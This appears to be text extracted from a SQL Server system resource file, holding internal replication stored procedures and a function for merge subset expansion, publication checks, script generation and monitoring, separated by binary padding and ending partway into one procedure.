!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!z6`o<grx0|Lu@ 78
create procedure sys.sp_MSexpandsubsnb (@pubid uniqueidentifier)
AS
    declare @filterid int
    declare @base_nick int
    declare @join_nick int
    declare @qualified_basetable nvarchar(517)
    declare @unqualified_basetable nvarchar(270)
    declare @qualified_jointable nvarchar(517)
    declare @unqualified_jointable nvarchar(270)
    declare @join_clause nvarchar(4000)
    declare @retcode int
    declare @error int
    declare @rowcount int
    declare @base_nickstr nvarchar(10)
    declare @join_unique_key int

    /* get first filter to expand on */
    select @filterid = min(join_filterid) from dbo.sysmergesubsetfilters f, #notbelong nb
        where pubid = @pubid and nb.tablenick = f.join_nickname and f.join_filterid > nb.flag and (f.filter_type & 1) = 1

    while @filterid is not null
        begin
        /* get join clause and tables for this filter */
        select @join_nick = join_nickname, @join_clause = join_filterclause,
            @base_nick = art_nickname, @join_unique_key = join_unique_key from dbo.sysmergesubsetfilters where
                pubid = @pubid and join_filterid = @filterid and (filter_type & 1) = 1
        exec @retcode = sys.sp_MStablenamefromnick @join_nick, @qualified_jointable out, @pubid,@unqualified_jointable out
        if @@error<>0 or @retcode<>0 return(1)
        exec @retcode = sys.sp_MStablenamefromnick @base_nick, @qualified_basetable out, @pubid, @unqualified_basetable out
        if @@error<>0 or @retcode<>0 return(1)
        set @base_nickstr = convert(nchar(10), @base_nick)

        /* Mark rows so that we know we've expanded those rows for this filter */
        update #notbelong set flag = @filterid where flag < @filterid
        
        /* exec an insert/select query to expand #notbelong */
        exec ('insert into #notbelong (tablenick, rowguid, flag) select distinct ' +
                @base_nickstr + ', ' + @unqualified_basetable + '.RowGuidCol, 0 from ' + @qualified_basetable + ' ' + @unqualified_basetable + 
                ', ' + @qualified_jointable + ' ' + @unqualified_jointable + ' where ( ' + @unqualified_jointable + '.RowGuidCol in 
                    (select rowguid from #notbelong) ) and (' + @join_clause + ')')
        select @error=@@error, @rowcount=@@rowcount
        if @error<>0 return(1)
        /* 
        ** if any rows inserted, try to contract the #notbelong table.
        ** Only join filters that are non unique need to contract the 
        ** NOTBELONGS table - 
        */
        if @rowcount <> 0 and @join_unique_key = 0
        begin
            exec @retcode = sys.sp_MScontractsubsnb @pubid, @base_nick, @qualified_basetable
            if @@error<>0 or @retcode<>0 return(1)
        end
        
        /* get next filter to expand with */
        select @filterid = min(join_filterid) from dbo.sysmergesubsetfilters f, #notbelong nb
            where pubid = @pubid and nb.tablenick = f.join_nickname and f.join_filterid > nb.flag and (f.filter_type & 1) = 1
        end

        return(0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`u<>su8?0L= `8
--
-- Name:
--      fn_MSrepl_ispublished
--
-- Description:
--  Function to determine if a database is published for 
--      transactional (regular or heterogenous) or merge.
--
-- Returns:
--  0 == FALSE
--  1 == TRUE
--
-- Security:
--  public
--
-- Notes:
--  Includes logic to determine if a db is being published
--
CREATE FUNCTION sys.fn_MSrepl_ispublished
(
    @db_name sysname
)
RETURNS BIT
AS
BEGIN
    DECLARE @fpublished bit
                ,@category int

    SELECT   @fpublished = 0
                ,@category = category
    FROM master.sys.sysdatabases
    WHERE name = @db_name 

    IF (@category IS NOT NULL)
    BEGIN
        --
        -- Check if this database is a transactional or merge publisher
        --
        IF (@category & 1 = 1) OR (@category & 4 = 4)
            SELECT @fpublished = 1
        --
        -- We have entry for this db_name in sysdatabases
        -- Is this database a distributor?
        --
        ELSE IF ((@category & 16 = 16) AND OBJECT_ID(N'msdb.dbo.MSdistpublishers', 'U') IS NOT NULL)
        BEGIN
            -- DB is a distributor - is it used for HREPL publisher?
            IF EXISTS
            (
                SELECT name
                FROM msdb.dbo.MSdistpublishers
                WHERE distribution_db = @db_name 
                    AND publisher_type != N'MSSQLSERVER'
            )
            BEGIN
                SELECT @fpublished = 1
            END
        END
    END -- @category not null
    --
    -- all done
    --
    RETURN @fpublished
END
0A 	8create procedure sys.sp_MScdc_tranrepl_check
@logreader_exists bit  = 0 output
,@skip_remote_check bit = 0
as
begin
	--
	-- If transactional replication is enabled on this db and there is an active publication (logreader agent exists)
	-- return an error to indicate the capture job should not be run.
	--
	if exists (select * from sys.databases where database_id = db_id() and is_published = 1)
	begin
		--syspublications should exists if db is published, but validate it anyway just to be safe
		if object_id('syspublications') is not null
		begin 
			--there's at least active tran publication
			if exists (select * from syspublications where status = 1 and repl_freq = 0)
			begin
				set @logreader_exists = 1
				if(@skip_remote_check = 0)
				begin
					RAISERROR(22911, 16, -1)
					return (1)
				end
				return (0)
			end
			if(@skip_remote_check = 1)
				return (0)
			--if there's no active tran publication, let's make sure there isn't a logreader being manually added by user.
			declare @retcode INT
						,@distributor sysname
						,@distribdb sysname
						,@publisher sysname
						,@publisher_db sysname
						,@distproc nvarchar(1000)
			select @publisher = publishingservername()
					,@publisher_db = db_name()
			EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @publisher = @publisher,
			                                                                @rpcsrvname = @distributor OUTPUT,
			                                                                @distribdb = @distribdb OUTPUT
			--can not let this go silently, user may shut down distributor, and add cdc job otherwise			                                                                
			IF @@error <> 0 OR @retcode <> 0 or @distribdb IS NULL OR @distributor IS NULL
			BEGIN
				RAISERROR (22804, 16, -1)
				RETURN (1)
			END
			SELECT @distproc =  QUOTENAME(RTRIM(@distributor)) + N'.' + QUOTENAME(@distribdb) + N'.sys.sp_MSreplagentjobexists'
			EXEC @retcode = @distproc @exists = @logreader_exists output,
			                            @type = 2,
			                            @publisher = @publisher,
			                            @publisher_db = @publisher_db
			IF @@ERROR <> 0 or @retcode <> 0
			BEGIN
					RAISERROR (22804, 16, -1)
					RETURN (1)
			END
			if(@logreader_exists = 1)
			begin
				if(@skip_remote_check = 0)
				begin
					RAISERROR(22911, 16, -1)
					return (1)
				end
				return (0)
			end
		end				
	end

    return(0)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`u@
<S
tu70A 	8create procedure sys.sp_MScdc_tranrepl_check
@logreader_exists bit  = 0 output
,@skip_remote_check bit = 0
as
begin
	--
	-- If transactional replication is enabled on this db and there is an active publication (logreader agent exists)
	-- return an error to indicate the capture job should not be run.
	--
	if exists (select * from sys.databases where database_id = db_id() and is_published = 1)
	begin
		--syspublications should exists if db is published, but validate it anyway just to be safe
		if object_id('syspublications') is not null
		begin 
			--there's at least active tran publication
			if exists (select * from syspublications where status = 1 and repl_freq = 0)
			begin
				set @logreader_exists = 1
				if(@skip_remote_check = 0)
				begin
					RAISERROR(22911, 16, -1)
					return (1)
				end
				return (0)
			end
			if(@skip_remote_check = 1)
				return (0)
			--if there's no active tran publication, let's make sure there isn't a logreader being manually added by user.
			declare @retcode INT
						,@distributor sysname
						,@distribdb sysname
						,@publisher sysname
						,@publisher_db sysname
						,@distproc nvarchar(1000)
			select @publisher = publishingservername()
					,@publisher_db = db_name()
			EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @publisher = @publisher,
			                                                                @rpcsrvname = @distributor OUTPUT,
			                                                                @distribdb = @distribdb OUTPUT
			--can not let this go silently, user may shut down distributor, and add cdc job otherwise			                                                                
			IF @@error <> 0 OR @retcode <> 0 or @distribdb IS NULL OR @distributor IS NULL
			BEGIN
				RAISERROR (22804, 16, -1)
				RETURN (1)
			END
			SELECT @distproc =  QUOTENAME(RTRIM(@distributor)) + N'.' + QUOTENAME(@distribdb) + N'.sys.sp_MSreplagentjobexists'
			EXEC @retcode = @distproc @exists = @logreader_exists output,
			                            @type = 2,
			                            @publisher = @publisher,
			                            @publisher_db = @publisher_db
			IF @@ERROR <> 0 or @retcode <> 0
			BEGIN
					RAISERROR (22804, 16, -1)
					RETURN (1)
			END
			if(@logreader_exists = 1)
			begin
				if(@skip_remote_check = 0)
				begin
					RAISERROR(22911, 16, -1)
					return (1)
				end
				return (0)
			end
		end				
	end

    return(0)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`st<@uu;K0= 8create procedure sys.sp_MSscriptviewproc (
    @viewname sysname, 
    @ownername sysname, 
    @procname sysname, 
    @rgcol sysname,
    @pubid uniqueidentifier,
    @artid uniqueidentifier
)
as
begin
    declare @retcode            smallint
    declare @view_id            int
    declare @xtype              int
    declare @system_type_id             int   
    declare @max_length                 int 
    declare @column_is_blob     bit
    declare @loop_counter       int
    declare @colid int
    declare @colcount int
    declare @collist_blob_command nvarchar(max)
    declare @collist_actual_command nvarchar(max)
    declare @replnick binary(6)
	declare @quoted_procname	nvarchar(258)

    set nocount on

    select @retcode = 0

    -- security check
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid=@pubid
    if @@error <> 0 or @retcode <> 0
        return 1

    -- instead of computing the column list use the one from sysmergepartitioninfo
    -- the column lists in sysmergepartitioninfo should have been populated by the select
    -- proc. Hence always remember to call this proc after calling the select proc
    select @collist_actual_command = column_list, @collist_blob_command = column_list_blob
    from dbo.sysmergepartitioninfo where artid = @artid and pubid=@pubid

    declare @proctext table (line_no int primary key identity(1,1), line nvarchar(max))
    if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end 

    exec @retcode = sys.sp_MSgetreplnick @replnick = @replnick out
    if (@retcode <> 0) or @replnick IS NULL 
    begin
        raiserror(14055, 11, -1)
        return(1)
    end                 

    select @quoted_procname=QUOTENAME(@procname)
        
    insert into @proctext (line) values ('
create procedure dbo.' + @quoted_procname + ' (
    @tablenick int, 
    @max_rows int = NULL,
    @guidlast uniqueidentifier = ''00000000-0000-0000-0000-000000000000'', 
    @compatlevel int = 10, 
    @pubid uniqueidentifier = NULL, 
    @enumentirerowmetadata bit= 1,
    @blob_cols_at_the_end bit = 0
) 
as
begin
    set nocount on
    set rowcount 0
    
    declare @retcode int

    -- security check
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @tablenick=@tablenick
    if @@error <> 0 or @retcode <> 0
            return 1
                
    if  @max_rows is not null
    begin
        -- used to select data for initial pop. of subscriber for dynamic filtered publication

        declare @maxint int
        declare @lin varbinary (311)
        declare @cv varbinary (2953)
        declare @replnick varbinary(6)
        declare @coltracked int
        declare @colv80 varbinary (2953)

        select @coltracked = sys.fn_fIsColTracked(@tablenick)
        select @colv80 = sys.fn_cColvEntries_80(@pubid, @tablenick)


        set @maxint= 2147483647

        if 0 = @max_rows
        begin
            set @max_rows= @maxint
        end
            
        select @replnick = ' + sys.fn_varbintohexstr(@replnick) + ' 
        set @lin = { fn UPDATELINEAGE(0x0, @replnick, 1) }
        set @cv = 0xFF

        if @blob_cols_at_the_end = 0
        begin
            select top (@max_rows)
                @tablenick,
                t.' + quotename(@rgcol) + ',
                coalesce(c.generation,1),
                case 
                        when 0=@enumentirerowmetadata then null 
                        when @compatlevel >= 90 then coalesce(c.lineage, @lin) 
                        else {fn LINEAGE_90_TO_80(coalesce(c.lineage, @lin))}
                end, 
                case 
                        when 0=@enumentirerowmetadata then null 
                        when @compatlevel >= 90 or @coltracked = 0 then coalesce(c.colv1, @cv) 
                        else {fn COLV_90_TO_80(coalesce(c.colv1, @cv), @colv80)}
                end
')
    if @@error <> 0 or @retcode <> 0 
    begin 
        select @retcode = 1 
        goto Failure 
    end 
    
    if @collist_actual_command is not null
    begin
        insert into @proctext (line) select ' ,' + @collist_actual_command
        if @@error <> 0 or @retcode <> 0 
        begin 
            select @retcode = 1 
            goto Failure 
        end 
    end
            
    insert into @proctext (line) values ('
              from ' +
                    QUOTENAME(@ownername) + '.' +
                        QUOTENAME(@viewname) + ' t left outer join  dbo.MSmerge_contents c on
                          t.' + quotename(@rgcol) + ' = c.rowguid  and c.tablenick = @tablenick where t.' + quotename(@rgcol) + ' > @guidlast 
                         order by t.' + quotename(@rgcol) + '
        end
        else
        begin
            select top (@max_rows)
                @tablenick,
                t.' + quotename(@rgcol) + ',
                coalesce(c.generation,1),
                case 
                        when 0=@enumentirerowmetadata then null 
                        when @compatlevel >= 90 then coalesce(c.lineage, @lin) 
                        else {fn LINEAGE_90_TO_80(coalesce(c.lineage, @lin))}
                end, 
                case 
                        when 0=@enumentirerowmetadata then null 
                        when @compatlevel >= 90 or @coltracked = 0 then coalesce(c.colv1, @cv) 
                        else {fn COLV_90_TO_80(coalesce(c.colv1, @cv), @colv80)}
                end
')
    if @@error <> 0 or @retcode <> 0 
    begin 
        select @retcode = 1 
        goto Failure 
    end 
    
    if @collist_blob_command is not null
    begin    
        insert into @proctext (line) select ' ,' + @collist_blob_command
        if @@error <> 0 or @retcode <> 0 
        begin 
            select @retcode = 1 
            goto Failure 
        end 
    end
        
    insert into @proctext (line) values ('
              from ' +
                    QUOTENAME(@ownername) + '.' +
                        QUOTENAME(@viewname) + ' t left outer join  dbo.MSmerge_contents c on
                          t.' + quotename(@rgcol)  + ' = c.rowguid  and c.tablenick = @tablenick where t.' + quotename(@rgcol)  + ' > @guidlast 
                         order by t.' + quotename(@rgcol)  + '
        end

        return (1)      
    end

    insert into #belong (tablenick, rowguid, flag, skipexpand, partchangegen)
        select ct.tablenick, ct.rowguid, 0, 0, ct.partchangegen
          from  #contents_subset ct, ' + QUOTENAME(@ownername) + '.' +
                        QUOTENAME(@viewname) + ' t where ct.tablenick = @tablenick
           and ct.rowguid = t.' + quotename(@rgcol)  + '  
    if @@error <> 0
    begin
        raiserror(''Error selecting from view'' , 16, -1)
        return (1)  
    end
end
')

    if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end 
    select line from @proctext order by line_no asc

Failure:
    return @retcode 
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`WF
< v;0@ 8create procedure sys.sp_MSscript_trigger_updates
    @identity_col sysname,
    @ts_col       sysname,
    @op_type      char(3) = 'ins', -- 'ins', 'del'
    @objid        int,
    @indent       int = 0,
    @primary_key_bitmap varbinary(4000) = null
as
    declare @cmd nvarchar(4000)
    declare @col sysname
    declare @qualname nvarchar(517)

    if @op_type = 'upd'
    begin
        -- Script out pk var assigment that used in sp_MSscript_where_clause
        exec sys.sp_MSscript_pkvar_assignment @objid, NULL, 1, @identity_col, @ts_col, 
            @primary_key_bitmap

        insert into #proctext(procedure_text) values(N'
    ')
    end

    exec sys.sp_MSget_qualified_name @objid, @qualname OUTPUT

    if @ts_col is not null and OBJECTPROPERTY(@objid, 'tablehastimestamp') <> 1
    begin
        insert into #proctext(procedure_text) values(N' 
')
        exec sys.sp_MSpad_command @cmd output, @indent
        exec sys.sp_MSget_col_position @objid, null, @ts_col, @col output
        select @cmd = @cmd + N'update ' + @qualname + N' set ' + @ts_col + N' = @' + @col
        exec sys.sp_MSflush_command @cmd, 1

        exec sys.sp_MSscript_where_clause @objid, null, 'trg pk', null, @indent, @op_type, @primary_key_bitmap
    end

   -- Reset to publisher's identity value if it is not an identity at the subscriber
   if @op_type = 'ins' and @identity_col is not null and OBJECTPROPERTY(@objid, 'tablehasidentity') <> 1
    begin
        insert into #proctext(procedure_text) values(N' 
')
        exec sys.sp_MSpad_command @cmd output, @indent
        exec sys.sp_MSget_col_position @objid, null, @identity_col, @col output
        select @cmd = @cmd + N'update ' + @qualname + N' set ' + @identity_col + N' = @' + @col
        exec sys.sp_MSflush_command @cmd, 1

        exec sys.sp_MSscript_where_clause @objid, null, 'trg pk', null, @indent, @op_type, @primary_key_bitmap
    end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`/x<e
w<O0PD 9
8
create procedure sys.sp_replmonitorhelpmergesubscriptionmoreinfo(
    @publisher            sysname,        /* Publisher server */
    @publisher_db            sysname,        /* Publisher database */
    @publication            sysname,        /* Publication name */
    @subscriber            sysname,        /* Subscriber server */
    @subscriber_db        sysname        /* Subscription database */
    )AS
begin
    declare @publisher_id smallint
    --
    -- security check
    -- only replmonitor can execute this
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    
    select @publisher_id = srvid from master.dbo.sysservers where
       UPPER(srvname) = UPPER(@publisher)

    if @@rowcount < 1 or @@error <> 0
    begin
        raiserror(25002, 16, -1)
        return (1)
    end

    select sub.subscriber_db as SubscriberDatabase,
       @publisher+'.'+@publisher_db as PublicationLocation, 
    sub.subscription_type as SubscriptionType,
    case when sub.subscription_type=1 then @publisher else UPPER(servers.srvname) end as MergeAgentLocation,
    agents.name as AgentName,
    sys.fn_add_units_to_date(pub.retention, pub.retention_period_unit, sessions.start_time) as TimeToExpire,
    (
    select ss1.start_time
    from dbo.MSmerge_sessions ss1
    where ss1.agent_id=agents.id and ss1.runstatus=8 -- REPL_STATUS_VALIDATION_PASS
    and ss1.timestamp = (
    select max(ss2.timestamp)
            from dbo.MSmerge_sessions ss2 
            where ss2.agent_id=agents.id and ss2.runstatus=8)) as LastSuccessfullValidationTime,
    (
    select ss1.start_time
    from dbo.MSmerge_sessions ss1
    where ss1.agent_id=agents.id and ss1.runstatus in (7,8) 
    and ss1.timestamp = (
    select max(ss2.timestamp)
            from dbo.MSmerge_sessions ss2 
            where ss2.agent_id=agents.id and ss2.runstatus in (7,8))) as LastAttemptedValidationTime
     from dbo.MSpublications pub, 
        dbo.MSmerge_subscriptions sub, 
        master.dbo.sysservers servers, 
        dbo.MSmerge_agents agents,
        dbo.MSmerge_sessions sessions,
    (
    select agent_id, max(start_time) as maxtime 
    from MSmerge_sessions group by agent_id
    ) as latest        
    where pub.publisher_id=@publisher_id and
        pub.publication=@publication and 
        pub.publisher_db=@publisher_db and
        pub.publication_type=2 and --merge
        sub.publisher_id=pub.publisher_id and
        sub.publisher_db=pub.publisher_db and
        sub.publication_id=pub.publication_id and 
        UPPER(sub.subscriber)=UPPER(@subscriber) and
        sub.subscriber_db=@subscriber_db and
        agents.publisher_id=@publisher_id and
        agents.publisher_db=pub.publisher_db and
        agents.publication=pub.publication and 
        UPPER(agents.subscriber_name)=UPPER(sub.subscriber) and 
    agents.subscriber_db=sub.subscriber_db and
    sessions.timestamp = (select max(timestamp)from dbo.MSmerge_sessions where agent_id=agents.id) and
    sessions.agent_id=agents.id and
    sessions.agent_id=latest.agent_id and 
    latest.maxtime=sessions.start_time and
    UPPER(servers.srvname) <> 'REPL_DISTRIBUTOR'
    order by agents.name
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`w5<x?݆0cH 8create procedure sys.sp_MShelpcreatebeforetable
    @objid int,
    @newname sysname
AS
    declare @command nvarchar(1000)
    declare @retcode int
    declare @include int
    declare @tablenick int
    declare @colname nvarchar(140)
    declare @typename nvarchar(258)
    declare @base_typename nvarchar(140)
